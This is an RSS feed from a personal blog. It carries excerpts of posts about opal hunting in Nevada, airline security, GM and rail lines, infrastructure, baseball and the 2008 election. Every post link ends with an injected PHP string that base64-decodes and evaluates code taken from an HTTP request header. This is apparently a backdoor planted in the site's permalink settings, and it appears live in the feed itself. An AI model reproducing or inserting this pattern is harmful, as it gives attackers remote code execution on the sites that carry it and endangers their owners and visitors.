http://houstonwade.com/blog News and opinion that matters to you. Sun, 18 Apr 2010 06:13:17 +0000 http://backend.userland.com/rss092 en For those of you out there lurking and waiting to kill me and take my booty I finally have some booty for the taking! Dig day #1 took me to the Virgin Valley in Northwetsern Nevada to look for black opal. I was optimistic (as always) going in, but more ... http://houstonwade.com/blog/2010/04/17/pictures-im-rich-bitch/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ It's Houston v. the Wild Spring 2009 edition. I am leaving for a few weeks of rock smashing around the American Southwest in hopes of finding booty! On the agenda: Black opals from Virgin Valley, Nevada. Probably the most valuable gemstone one can find in the lower 48. Topaz from aptly-named ... http://houstonwade.com/blog/2010/04/12/im-goin-on-a-trip/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Look, the security apparatus that we have in place did not fail us on Christmas day when a Nigerian dude with a bomb strapped to his junk tried to blow up a plane. The Intelligence was there, he was on a watch list. The problem was that he ... http://houstonwade.com/blog/2010/01/07/added-security-schmadded-schmeschurity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ General Motors savior may be in it's illegal aquisitions from 70 years ago. From the 1920s through the 1950s GM and Firestone bought up all the private commuter rail they could, including subways, cable cars, electric trollies, etc... So that they could crush it forcing people to buy cars ... http://houstonwade.com/blog/2009/04/01/i-can-save-gm/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ We need infrastructure improvements more than we need tax cuts. There are ten thousand bridges and overpasses in America that need replacing and refitting. Think about that. What if in the next twenty years even one percent of those bridges fail like the I-35 bridge in Minnesota? ... http://houstonwade.com/blog/2009/02/19/stimulate-me/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Chrysler and Gm want us to give them more money to straighten out thier finances. OK, it's theirs, under one condition: They give us all the rail and trolly lines they bought up in the 40s and 50s. in return we give them tons of cash to ... http://houstonwade.com/blog/2009/02/19/chrysler-and-gm-want-more-money-lets-give-it-to-them/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Finally, after 10 years away, and after he has finally realized that Cincinatti and Atlanta are holes not worthy of fill, Ken Griffey Jr. has returned to Seattle. From the looks of it, Griffey had all but signed with the Braves until some loudmouth with the orginaization leaked that Griffey was ... http://houstonwade.com/blog/2009/02/18/griffey-returns-to-seattle/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Thank you, America. http://houstonwade.com/blog/2008/11/04/we-have-a-new-president/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ All across America millions of us are either standing in line or glued to our television. It may be the only good thing Bush gave us during his miserable presidency and I hope it is the one thing that lasts; involvement in our democracy. The papers are saying ... http://houstonwade.com/blog/2008/11/04/sitting-and-watching/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Full Story This one is enough to piss off anyone. You just have to read it in it's entirety. Voters Across Nation Hit by Dirty Tricks By DEBORAH HASTINGS, AP (Nov. 2) - In the hours before Election Day, as inevitable as winter, comes an onslaught of dirty tricks — confusing e-mails, disturbing ... http://houstonwade.com/blog/2008/11/04/the-vote-suppression-is-going-strong/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/